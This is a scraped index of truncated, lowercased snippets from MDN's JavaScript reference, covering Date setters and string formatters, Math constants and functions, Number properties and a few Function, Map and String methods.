the setminutes() method sets the minutes for a specified date according to local time. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dateobj.setminutes(minutesvalue[, secondsvalue[, msvalue]]) versions prior to javascript 1.3 dateobj.setminutes(minutesvalue) parameters minutesvalue an integer between 0 and 59, representing the minutes. secondsvalue optional. an integer between 0 and 59, representing the seconds. if you specify the secondsvalue parameter, you must also specify the minutesvalue. msvalue optional. a number between 0 and 999, representing the milliseconds. if you specify the msvalue...
Date.prototype.setSeconds() - JavaScript
the setseconds() method sets the seconds for a specified date according to local time. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dateobj.setseconds(secondsvalue[, msvalue]) versions prior to javascript 1.3 dateobj.setseconds(secondsvalue) parameters secondsvalue an integer between 0 and 59, representing the seconds. msvalue optional. a number between 0 and 999, representing the milliseconds. return value the number of milliseconds between 1 january 1970 00:00:00 utc and the updated date. description if you do not specify the msvalue parameter, the value returned from the getmilliseconds()...
Date.prototype.setTime() - JavaScript
the settime() method sets the date object to the time represented by a number of milliseconds since january 1, 1970, 00:00:00 utc. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dateobj.settime(timevalue) parameters timevalue an integer representing the number of milliseconds since 1 january 1970, 00:00:00 utc. return value the number of milliseconds between 1 january 1970 00:00:00 utc and the updated date (effectively, the value of the argument). description use the settime() method to help assign a date and time to another date object. examples using settime() var thebigday = new date('july 1...
Date.prototype.setUTCHours() - JavaScript
sets the hour for a specified date according to universal time, and returns the number of milliseconds since january 1, 1970 00:00:00 utc until the time represented by the updated date instance. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dateobj.setutchours(hoursvalue[, minutesvalue[, secondsvalue[, msvalue]]]) parameters hoursvalue an integer between 0 and 23, representing the hour. minutesvalue optional. an integer between 0 and 59, representing the minutes. secondsvalue optional. an integer between 0 and 59, representing the seconds. if you specify the secondsvalue parameter, you must also ...
Date.prototype.setUTCMinutes() - JavaScript
syntax dateobj.setutcminutes(minutesvalue[, secondsvalue[, msvalue]]) parameters minutesvalue an integer between 0 and 59, representing the minutes. secondsvalue optional. ...
Date.prototype.setUTCMonth() - JavaScript
syntax dateobj.setutcmonth(monthvalue[, dayvalue]) parameters monthvalue an integer between 0 and 11, representing the months january through december. dayvalue optional. ...
Date.prototype.toDateString() - JavaScript
hree letters of the month name two digit day of the month, padded on the left a zero if necessary four digit year (at least), padded on the left with zeros if necessary e.g. "thu jan 01 1970". the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dateobj.todatestring() return value a string representing the date portion of the given date object in human readable form in english. description date instances refer to a specific point in time. calling tostring() will return the date formatted in a human readable form in english. in spidermonkey, this consists of the date portion (day, month, and year) followed ...
Date.prototype.toISOString() - JavaScript
(iso 8601), which is always 24 or 27 characters long (yyyy-mm-ddthh:mm:ss.sssz or ±yyyyyy-mm-ddthh:mm:ss.sssz, respectively). the timezone is always zero utc offset, as denoted by the suffix "z". the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dateobj.toisostring() return value a string representing the given date in the iso 8601 format according to universal time. polyfill this method was standardized in ecma-262 5th edition. engines which have not been updated to support this method can work around the absence of this method using the following shim: if (!date.prototype.toisostring) { (function() {...
Date.prototype.toJSON() - JavaScript
syntax dateobj.tojson() return value a string representation of the given date. description date instances refer to a specific point in time. ...
Date.prototype.toLocaleDateString() - JavaScript
e the behavior of the function. in older implementations, which ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation dependent. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dateobj.tolocaledatestring([locales [, options]]) parameters the locales and options arguments customize the behavior of the function and let applications specify the language whose formatting conventions should be used. in implementations, which ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation ...
Date.prototype.toLocaleString() - JavaScript
the behavior of the function. in older implementations, which ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation-dependent. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dateobj.tolocalestring([locales[, options]]) parameters the locales and options arguments customize the behavior of the function and let applications specify the language whose formatting conventions should be used. in implementations, which ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation depen...
Date.prototype.toLocaleTimeString() - JavaScript
e the behavior of the function. in older implementations, which ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation dependent. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dateobj.tolocaletimestring([locales[, options]]) parameters the locales and options arguments customize the behavior of the function and let applications specify the language whose formatting conventions should be used. in implementations, which ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation d...
Date.prototype.toString() - JavaScript
syntax dateobj.tostring() return value a string representing the given date. description date instances inherit their tostring() method from date.prototype, not object.prototype. ...
Date.prototype.toUTCString() - JavaScript
the toutcstring() method converts a date to a string, using the utc time zone. based on rfc7231 and modified according to ecma-262 toutcstring, it can have negative values in the 2021 version the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax dateobj.toutcstring() return value a string representing the given date using the utc time zone. description the value returned by toutcstring() is a string in the form www, dd mmm yyyy hh:mm:ss gmt, where: format sring description www day of week, as three letters (e.g. sun, mon, ...) dd day of month, as two digits with leadin...
Function() constructor - JavaScript
ut suffers from security and similar (but far less significant) performance issues to eval. however, unlike eval, the function constructor creates functions which execute in the global scope only. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax new function([arg1 [, arg2 [, ...argn]] ,] functionbody) parameters arg1, arg2, ... argn names to be used by the function as formal argument names. each must be a string that corresponds to a valid javascript identifier, or a list of such strings separated with a comma. for example: "x", "thevalue"—or "x,thevalue". functionbody a string containing the javascri...
Function.prototype.bind() - JavaScript
e bind() method creates a new function that, when called, has its this keyword set to the provided value, with a given sequence of arguments preceding any provided when the new function is called. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax let boundfunc = func.bind(thisarg[, arg1[, arg2[, ...argn]]]) parameters thisarg the value to be passed as the this parameter to the target function func when the bound function is called. the value is ignored if the bound function is constructed using the new operator. when using bind to create a function (supplied as a callback) inside a settimeout, any primiti...
Map.prototype.set() - JavaScript
syntax mymap.set(key, value) parameters key the key of the element to add to the map object. value the value of the element to add to the map object. ...
Map.prototype.size - JavaScript
description the value of size is an integer representing how many entries the map object has. a set accessor function for size is undefined; you can not change this property. ...
Math.E - JavaScript
the math.e property represents the base of natural logarithms, e, approximately 2.718. math.e=e≈2.718\mathtt{\mi{math.e}} = e \approx 2.718 the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. property attributes of math.e writable no enumerable no configurable no description because e is a static property of math, you always use it as math.e, rather than as a property of a math object you created (math is not a constructor). examples using math.e the following function returns e: function getnapier() { return math.
Math.LN10 - JavaScript
the math.ln10 property represents the natural logarithm of 10, approximately 2.302: math.ln10=ln(10)≈2.302\mathtt{\mi{math.ln10}} = \ln(10) \approx 2.302 the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. property attributes of math.ln10 writable no enumerable no configurable no description because ln10 is a static property of math, you always use it as math.ln10, rather than as a property of a math object you created (math is not a constructor). examples using math.ln10 the following function returns the natural log...
Math.LN2 - JavaScript
the math.ln2 property represents the natural logarithm of 2, approximately 0.693: math.ln2=ln(2)≈0.693\mathtt{\mi{math.ln2}} = \ln(2) \approx 0.693 the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. property attributes of math.ln2 writable no enumerable no configurable no description because ln2 is a static property of math, you always use it as math.ln2, rather than as a property of a math object you created (math is not a constructor). examples using math.ln2 the following function returns the natural log of 2: fu...
Math.LOG10E - JavaScript
the math.log10e property represents the base 10 logarithm of e, approximately 0.434: math.log10e=log10(e)≈0.434\mathtt{\mi{math.log10e}} = \log_10(e) \approx 0.434 the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. property attributes of math.log10e writable no enumerable no configurable no description because log10e is a static property of math, you always use it as math.log10e, rather than as a property of a math object you created (math is not a constructor). examples using math.log10e the following function retur...
Math.LOG2E - JavaScript
the math.log2e property represents the base 2 logarithm of e, approximately 1.442: math.log2e=log2(e)≈1.442\mathtt{\mi{math.log2e}} = \log_2(e) \approx 1.442 the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. property attributes of math.log2e writable no enumerable no configurable no description because log2e is a static property of math, you always use it as math.log2e, rather than as a property of a math object you created (math is not a constructor). examples using math.log2e the following function returns the bas...
Math.PI - JavaScript
the math.pi property represents the ratio of the circumference of a circle to its diameter, approximately 3.14159: math.pi=π≈3.14159\mathtt{\mi{math.pi}} = \pi \approx 3.14159 the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. property attributes of math.pi writable no enumerable no configurable no description because pi is a static property of math, you always use it as math.pi, rather than as a property of a math object you created (math is not a constructor). examples using math.pi the following function uses mat...
Math.SQRT1_2 - JavaScript
math.sqrt1_2 property represents the square root of 1/2 which is approximately 0.707: math.sqrt1_2=12=12≈0.707\mathtt{\mi{math.sqrt1_2}} = \sqrt{\frac{1}{2}} = \frac{1}{\sqrt{2}} \approx 0.707 the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. property attributes of math.sqrt1_2 writable no enumerable no configurable no description because sqrt1_2 is a static property of math, you always use it as math.sqrt1_2, rather than as a property of a math object you created (math is not a constructor). examples using math.sqrt...
Math.SQRT2 - JavaScript
the math.sqrt2 property represents the square root of 2, approximately 1.414: math.sqrt2=2≈1.414\mathtt{\mi{math.sqrt2}} = \sqrt{2} \approx 1.414 the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. property attributes of math.sqrt2 writable no enumerable no configurable no description because sqrt2 is a static property of math, you always use it as math.sqrt2, rather than as a property of a math object you created (math is not a constructor). examples using math.sqrt2 the following function returns the square root of ...
Math.abs() - JavaScript
value of a number, that is math.abs(x)=|x|={xifx>00ifx=0-xifx<0{\mathtt{\operatorname{math.abs}(z)}} = {|z|} = \begin{cases} x & \text{if} \quad x \geq 0 \\ x & \text{if} \quad x < 0 \end{cases} the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax math.abs(x) parameters x a number. return value the absolute value of the given number. description because abs() is a static method of math, you always use it as math.abs(), rather than as a method of a math object you created (math is not a constructor). examples behavior of math.abs() passing an empty object, an array with more than one member, a non-nu...
Math.acos() - JavaScript
ccos(x)= the unique y∊[0;π]such thatcos(y)=x\forall x \in [{-1};1],\;\mathtt{\operatorname{math.acos}(x)} = \arccos(x) = \text{ the unique } \; y \in [0; \pi] \, \text{such that} \; \cos(y) = x the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax math.acos(x) parameters x a number representing a cosine, where x is between -1 and 1. return value the arccosine (angle in radians) of the given number if it's between -1 and 1; otherwise, nan. description the math.acos() method returns a numeric value between 0 and π radians for x between -1 and 1. if the value of x is outside this range, it returns nan. ...
Math.acosh() - JavaScript
rcosh(x)= the unique y≥0such thatcosh(y)=x\forall x \geq 1, \mathtt{\operatorname{math.acosh}(x)} = \operatorname{arcosh}(x) = \text{ the unique } \; y \geq 0 \; \text{such that} \; \cosh(y) = x the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax math.acosh(x) parameters x a number. return value the hyperbolic arc-cosine of the given number. if the number is less than 1, nan. description because acosh() is a static method of math, you always use it as math.acosh(), rather than as a method of a math object you created (math is no constructor). polyfill for all x≥1x \geq 1, we have arcosh(x)=ln(x+x2...
Math.asin() - JavaScript
thatsin(y)=x\forall x \in [{-1};1],\;\mathtt{\operatorname{math.asin}(x)} = \arcsin(x) = \text{ the unique } \; y \in \left[-\frac{\pi}{2}; \frac{\pi}{2}\right] \, \text{such that} \; \sin(y) = x the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax math.asin(x) parameters x a number. return value the arcsine (in radians) of the given number if it's between -1 and 1; otherwise, nan. description the math.asin() method returns a numeric value between -π2-\frac{\pi}{2} and π2\frac{\pi}{2} radians for x between -1 and 1. if the value of x is outside this range, it returns nan. because asin() is a static m...
Math.asinh() - JavaScript
ber, that is math.asinh(x)=arsinh(x)= the unique ysuch thatsinh(y)=x\mathtt{\operatorname{math.asinh}(x)} = \operatorname{arsinh}(x) = \text{ the unique } \; y \; \text{such that} \; \sinh(y) = x the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax math.asinh(x) parameters x a number. return value the hyperbolic arcsine of the given number. description because asinh() is a static method of math, you always use it as math.asinh(), rather than as a method of a math object you created (math is not a constructor). polyfill math.asinh can be emulated with the following function: if (!math.asinh) math.asin...
Math.atan() - JavaScript
unique y∊[-π2;π2]such thattan(y)=x\mathtt{\operatorname{math.atan}(x)} = \arctan(x) = \text{ the unique } \; y \in \left[-\frac{\pi}{2}; \frac{\pi}{2}\right] \, \text{such that} \; \tan(y) = x the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax math.atan(x) parameters x a number. return value the arctangent (in radians) of the given number. description the math.atan() method returns a numeric value between -π2-\frac{\pi}{2} and π2\frac{\pi}{2} radians. because atan() is a static method of math, you always use it as math.atan(), rather than as a method of a math object you created (math is not a c...
Math.atan2() - JavaScript
the math.atan2() function returns the angle in the plane (in radians) between the positive x-axis and the ray from (0,0) to the point (x,y), for math.atan2(y,x). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax math.atan2(y, x) parameters y the y coordinate of the point. x the x coordinate of the point return value the angle in radians (in [-π,π][-\pi, \pi]) between the positive x-axis and the ray from (0,0) to the point (x,y). description the math.atan2() method returns a numeric value between -π and π representing the angle theta of an (x, y) point. this is the counterclockwise angle, measur...
Math.atanh() - JavaScript
= the unique ysuch thattanh(y)=x\forall x \in \left( -1, 1 \right), \mathtt{\operatorname{math.atanh}(x)} = \operatorname{arctanh}(x) = \text{ the unique } \; y \; \text{such that} \; \tanh(y) = x the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax math.atanh(x) parameters x a number. return value the hyperbolic arctangent of the given number. description because atanh() is a static method of math, you always use it as math.atanh(), rather than as a method of a math object you created (math is not a constructor). polyfill for |x|<1\left|x\right| < 1, we have artanh(x)=12ln(1+x1-x)\operatorname {artan...
Math.cbrt() - JavaScript
math.cbrt() function returns the cube root of a number, that is math.cbrt(x)=x3=the uniqueysuch thaty3=x\mathtt{math.cbrt(x)} = \sqrt[3]{x} = \text{the unique} \; y \; \text{such that} \; y^3 = x the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax math.cbrt(x) parameters x a number. return value the cube root of the given number. description because cbrt() is a static method of math, you always use it as math.cbrt(), rather than as a method of a math object you created (math is not a constructor). polyfill for all x≥0x \geq 0, have x3=x1/3\sqrt[3]{x} = x^{1/3} so this can be emulated by the followi...
Math.cos() - JavaScript
the math.cos() static function returns the cosine of the specified angle, which must be specified in radians. this value is length adjacent length hypotenuse . the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax math.cos(x) parameters x the angle in radians for which to return the cosine. return value the cosine of the given number. description the math.cos() method returns a numeric value between -1 and 1, which represents the cosine of the angle. because cos() is a static method of math, you always use it as math.cos(), rather than as a method of a math object you created (mat...
Math.cosh() - JavaScript
the math.cosh() function returns the hyperbolic cosine of a number, that can be expressed using the constant e: math.cosh(x)=ex+e-x2\mathtt{\operatorname{math.cosh(x)}} = \frac{e^x + e^{-x}}{2} the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax math.cosh(x) parameters x a number. return value the hyperbolic cosine of the given number. description because cosh() is a static method of math, you always use it as math.cosh(), rather than as a method of a math object you created (math is not a constructor). polyfill this can be emulated with the help of the math.exp() function: math.cosh = math.cosh ||...
Math.expm1() - JavaScript
syntax math.expm1(x) parameters x a number. return value a number representing ex - 1, where e is euler's number and x is the argument. ...
Math.floor() - JavaScript
syntax math.floor(x) parameters x a number. return value a number representing the largest integer less than or equal to the specified number. ...
Math.hypot() - JavaScript
arguments, that is: math.hypot(v1,v2,…,vn)=∑i=1nvi2=v12+v22+…+vn2\mathtt{\operatorname{math.hypot}(v_1, v_2, \dots, v_n)} = \sqrt{\sum_{i=1}^n v_i^2} = \sqrt{v_1^2 + v_2^2 + \dots + v_n^2} the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax math.hypot([value1[, value2[, ...]]]) parameters value1, value2, ... numbers. return value the square root of the sum of squares of the given arguments. if at least one of the arguments cannot be converted to a number, nan is returned. description calculating the hypotenuse of a right triangle, or the magnitude of a complex number, uses the formula math.sqrt(...
Math.log() - JavaScript
atey=x\forall x > 0, \mathtt{\operatorname{math.log}(x)} = \ln(x) = \text{the unique} \; y \; \text{such that} \; e^y = x the javascript math.log() function is equivalent to ln(x) in mathematics. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax math.log(x) parameters x a number. return value the natural logarithm (base e) of the given number. if the number is negative, nan is returned. description if the value of x is 0, the return value is always -infinity. if the value of x is negative, the return value is always nan. because log() is a static method of math, you always use it as math.log(), rat...
Math.log10() - JavaScript
a number, that is ∀x>0,math.log10(x)=log10(x)=the uniqueysuch that10y=x\forall x > 0, \mathtt{\operatorname{math.log10}(x)} = \log_10(x) = \text{the unique} \; y \; \text{such that} \; 10^y = x the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax math.log10(x) parameters x a number. return value the base 10 logarithm of the given number. if the number is negative, nan is returned. description if the value of x is less than 0, the return value is always nan. because log10() is a static method of math, you always use it as math.log10(), rather than as a method of a math object you created (math is not ...
Math.log1p() - JavaScript
the math.log1p() function returns the natural logarithm (base e) of 1 + a number, that is ∀x>-1,math.log1p(x)=ln(1+x)\forall x > -1, \mathtt{\operatorname{math.log1p}(x)} = \ln(1 + x) the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax math.log1p(x) parameters x a number. return value the natural logarithm (base e) of 1 plus the given number. if the number is less than -1, nan is returned. description for very small values of x, adding 1 can reduce or eliminate precision. the double floats used in js give you about 15 digits of precision. 1 + 1e-15 = 1.000000000000001, but 1 + 1e-16 = 1.0000000000...
Math.log2() - JavaScript
hm of a number, that is ∀x>0,math.log2(x)=log2(x)=the uniqueysuch that2y=x\forall x > 0, \mathtt{\operatorname{math.log2}(x)} = \log_2(x) = \text{the unique} \; y \; \text{such that} \; 2^y = x the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax math.log2(x) parameters x a number. return value the base 2 logarithm of the given number. if the number is negative, nan is returned. description if the value of x is less than 0, the return value is always nan. because log2() is a static method of math, you always use it as math.log2(), rather than as a method of a math object you created (math is not a co...
Math.max() - JavaScript
syntax math.max([value1[, value2[, ...]]]) parameters value1, value2, ... numbers. return value the largest of the given numbers. ...
Math.min() - JavaScript
the static function math.min() returns the lowest-valued number passed into it, or nan if any parameter isn't a number and can't be converted into one. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax math.min([value1[, value2[, ...]]]) parameters value1, value2, ... zero or more numbers among which the lowest value will be selected and returned. return value the smallest of the given numbers. if any one or more of the parameters cannot be converted into a number, nan is returned. the result is infinity if no parameters are provided. description because min() is a static method of math, you always u...
Math.pow() - JavaScript
syntax math.pow(base, exponent) parameters base the base number. exponent the exponent used to raise the base. ...
Math.round() - JavaScript
syntax math.round(x) parameters x a number. return value the value of the given number rounded to the nearest integer. ...
Math.sign() - JavaScript
cating the sign of a number passed into the argument. if the number passed into math.sign() is 0, it will return a +/- 0. note that if the number is positive, an explicit (+) will not be returned. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax math.sign(x) parameters x a number. if this argument is not a number, it is implicitly converted to one. return value a number representing the sign of the given argument: if the argument is positive, returns 1. if the argument is negative, returns -1. if the argument is positive zero, returns 0. if the argument is negative zero, returns -0. otherwise, n...
Math.sin() - JavaScript
syntax math.sin(x) parameters x a number (given in radians). return value the sine of the given number. description the math.sin() method returns a numeric value between -1 and 1, which represents the sine of the angle given in radians. ...
Math.sinh() - JavaScript
the math.sinh() function returns the hyperbolic sine of a number, that can be expressed using the constant e: math.sinh(x)=ex-e-x2\mathtt{\operatorname{math.sinh(x)}} = \frac{e^x - e^{-x}}{2} the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax math.sinh(x) parameters x a number. return value the hyperbolic sine of the given number. description because sinh() is a static method of math, you always use it as math.sinh(), rather than as a method of a math object you created (math is not a constructor). polyfill this can be emulated with the help of the math.exp() function: math.sinh = math.sinh || fu...
Math.sqrt() - JavaScript
are root of a number, that is ∀x≥0,math.sqrt(x)=x=the uniquey≥0such thaty2=x\forall x \geq 0, \mathtt{math.sqrt(x)} = \sqrt{x} = \text{the unique} \; y \geq 0 \; \text{such that} \; y^2 = x the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax math.sqrt(x) parameters x a number. return value the square root of the given number. if the number is negative, nan is returned. description if the value of x is negative, math.sqrt() returns nan. because sqrt() is a static method of math, you always use it as math.sqrt(), rather than as a method of a math object you created (math is not a constructor). ex...
Math.tan() - JavaScript
syntax math.tan(x) parameters x a number representing an angle in radians. return value the tangent of the given number. description the math.tan() method returns a numeric value that represents the tangent of the angle. ...
NaN - JavaScript
e representing not-a-number. property attributes of nan writable no enumerable no configurable no the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. description nan is a property of the global object. in other words, it is a variable in global scope. the initial value of nan is not-a-number — the same as the value of number.nan. in modern browsers, nan is a non-configurable, non-writable property. even when this is not the case, avoid overriding it. it is rather rare to use nan in a program. there are five different t...
Number.EPSILON - JavaScript
property represents the difference between 1 and the smallest floating point number greater than 1. you do not have to create a number object to access this static property (use number.epsilon). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. property attributes of number.epsilon writable no enumerable no configurable no description the epsilon property has a value of approximately 2.2204460492503130808472633361816e-16, or 2-52. polyfill if (number.epsilon === undefined) { number.epsilon = math.pow(2, -52); } ...
Number.MAX_SAFE_INTEGER - JavaScript
the number.max_safe_integer constant represents the maximum safe integer in javascript (253 - 1). for larger integers, consider using bigint. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. property attributes of number.max_safe_integer writable no enumerable no configurable no description the max_safe_integer constant has a value of 9007199254740991 (9,007,199,254,740,991 or ~9 quadrillion). the reasoning behind that number is that javascript uses double-precision floating-point format numbers as specified in ieee 754...
Number.MAX_VALUE - JavaScript
the number.max_value property represents the maximum numeric value representable in javascript. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. property attributes of number.max_value writable no enumerable no configurable no description the max_value property has a value of approximately 1.79e+308, or 21024. values larger than max_value are represented as infinity. because max_value is a static property of number, you always use it as number.max_value, rather than as a property of a number object you created. exampl...
Number.MIN_SAFE_INTEGER - JavaScript
the number.min_safe_integer constant represents the minimum safe integer in javascript (-(253 - 1)). to represent integers smaller than this, consider using bigint. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. property attributes of number.min_safe_integer writable no enumerable no configurable no description the min_safe_integer constant has a value of -9007199254740991 (-9,007,199,254,740,991 or about -9 quadrillion). the reasoning behind that number is that javascript uses double-precision floating-point format n...
Number.MIN_VALUE - JavaScript
the number.min_value property represents the smallest positive numeric value representable in javascript. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. property attributes of number.min_value writable no enumerable no configurable no description the min_value property is the number closest to 0, not the most negative number, that javascript can represent. min_value has a value of approximately 5e-324. values smaller than min_value ("underflow values") are converted to 0. because min_value is a static property of num...
Number.NEGATIVE_INFINITY - JavaScript
the number.negative_infinity property represents the negative infinity value. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. property attributes of number.negative_infinity writable no enumerable no configurable no description the value of number.negative_infinity is the same as the negative value of the global object's infinity property. this value behaves slightly differently than mathematical infinity: any positive value, including positive_infinity, multiplied by negative_infinity is negative_infinity. any neg...
Number.POSITIVE_INFINITY - JavaScript
the number.positive_infinity property represents the positive infinity value. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. property attributes of number.positive_infinity writable no enumerable no configurable no description the value of number.positive_infinity is the same as the value of the global object's infinity property. this value behaves slightly differently than mathematical infinity: any positive value, including positive_infinity, multiplied by positive_infinity is positive_infinity. any negative val...
Number.isFinite() - JavaScript
syntax number.isfinite(value) parameters value the value to be tested for finiteness. return value a boolean indicating whether or not the given value is a finite number. ...
Number.isInteger() - JavaScript
syntax number.isinteger(value) parameters value the value to be tested for being an integer. return value a boolean indicating whether or not the given value is an integer. ...
Number.isNaN() - JavaScript
the number.isnan() method determines whether the passed value is nan and its type is number. it is a more robust version of the original, global isnan(). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax number.isnan(value) parameters value the value to be tested for nan. return value true if the given value is nan and its type is number; otherwise, false. description due to both equality operators, == and ===, evaluating to false when checking if nan is nan, the function number.isnan() has become necessary. this situation is unlike all other possible value comparisons in javascript. in comparison t...
Number.isSafeInteger() - JavaScript
the number.issafeinteger() method determines whether the provided value is a number that is a safe integer. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. a safe integer is an integer that can be exactly represented as an ieee-754 double precision number, and whose ieee-754 representation cannot be the result of rounding any other integer to fit the ieee-754 representation. for example, 253 - 1 is a safe integer: it can be exactly represented, and no other integer rounds to it under any ieee-754 rounding mode. in contrast, 253 is not a safe integer: it can be exactly represented in ieee-754, but the integer 2...
Number.parseFloat() - JavaScript
the number.parsefloat() method parses an argument and returns a floating point number. if a number cannot be parsed from the argument, it returns nan. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax number.parsefloat(string) parameters string the value to parse. if this argument is not a string, then it is converted to one using the tostring abstract operation. leading whitespace in this argument is ignored. return value a floating point number parsed from the given string. or nan when the first non-whitespace character cannot be converted to a number. polyfill if (number.parsefloat === undefined)...
String.prototype.padStart() - JavaScript
t() method pads the current string with another string (multiple times, if needed) until the resulting string reaches the given length. the padding is applied from the start of the current string. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax str.padstart(targetlength [, padstring]) parameters targetlength the length of the resulting string once the current str has been padded. if the value is less than str.length, then str is returned as-is. padstring optional the string to pad the current str with. if padstring is too long to stay within the targetlength, it will be truncated from the end. the defa...
String.prototype.repeat() - JavaScript
the repeat() method constructs and returns a new string which contains the specified number of copies of the string on which it was called, concatenated together. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
